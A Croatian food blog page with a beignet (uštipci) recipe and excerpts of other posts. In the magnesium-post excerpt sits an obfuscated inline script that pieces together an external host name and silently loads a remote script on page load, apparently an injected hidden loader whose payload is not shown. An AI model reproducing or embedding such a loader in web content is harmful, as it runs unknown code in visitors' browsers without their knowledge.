BEIGNETS UŠTIPCI


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Beignets uštipci 

https://zadovoljna.dnevnik.hr/clanak/beignets-recept-za-ustipke-slicne-krafnama---639850.html

Jeste li čuli za "beignets"? Ta slastica dolazi nam iz New Orleansa, a iza njezina imena skrivaju se fini uštipci i mnogi tvrde da su dostojna zamjena krafnama.




Beignets uštipci 


Sastojci:

  • 500 g glatkog brašna
  • 230 g mlakog mlijeka
  • 40 g otopljenog maslaca
  • 1 veliko jaje
  • 50 g šećera
  • 10 g soli
  • 2 male žlice suhog kvasca ili 20 grama svježeg kvasca
  • 4 dodatne velike žlice mlijeka za kvasac
  • 1 litra ulja za prženje
  • šećer u prahu za serviranje



Priprema: 

  1. U manju posudicu stavite četiri žlice mlakog mlijeka, dodajte malo šećera, umiješajte kvasac (suhi ili svježi po želji) i dobro promiješajte. Pospite s malo brašna i ostavite da se diže na toplom 15-ak minuta.
  2. U veliku zdjelu ubacite brašno. Kada se kvasac digne, umiješajte ga u brašno. Zatim dodajte sol, šećer, jaje, maslac i mlijeko. Prvo sve sastojke povežite kuhačom, a zatim rukom zamijesite tijesto da dobijete glatku kuglu. Zdjelu pokrijte krpom ili prozirnom plastičnom folijom i ostavite da se tijesto diže na toplom oko sat vremena.
  3. Pobrašnite površinu za valjanje i prebacite na nju tijesto iz zdjele. Pobrašnite valjak i razvaljajte tijesto u pravokutnik ili kvadrat, na debljinu od 1 cm. Tankim i oštrim nožem uvaljanim u brašno ili rezačem za pizzu režite tijesto na manje kvadrate.
  4. Pripremite malo dublju zdjelu za prženje i u njoj zagrijte ulje na srednje jakoj vatri. U zagrijano ulje stavljajte nekoliko uštipaka, ovisno o veličini zdjele, ali pazite da ih ne stavite previše jer se onda neće pravilno peći zbog nedostatka mjesta. Kada su pečeni s jedne strane i dobiju lijepu zlatnožutu boju, okrenite ih na drugu stranu i pecite dok ne dobiju istu boju.
  5. Izvadite ih iz zdjele i stavite na tanjur ili pladanj obložen kuhinjskim papirom kako bi se upio višak masnoće. Uštipke prije serviranja obilno pospite šećerom u prahu.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više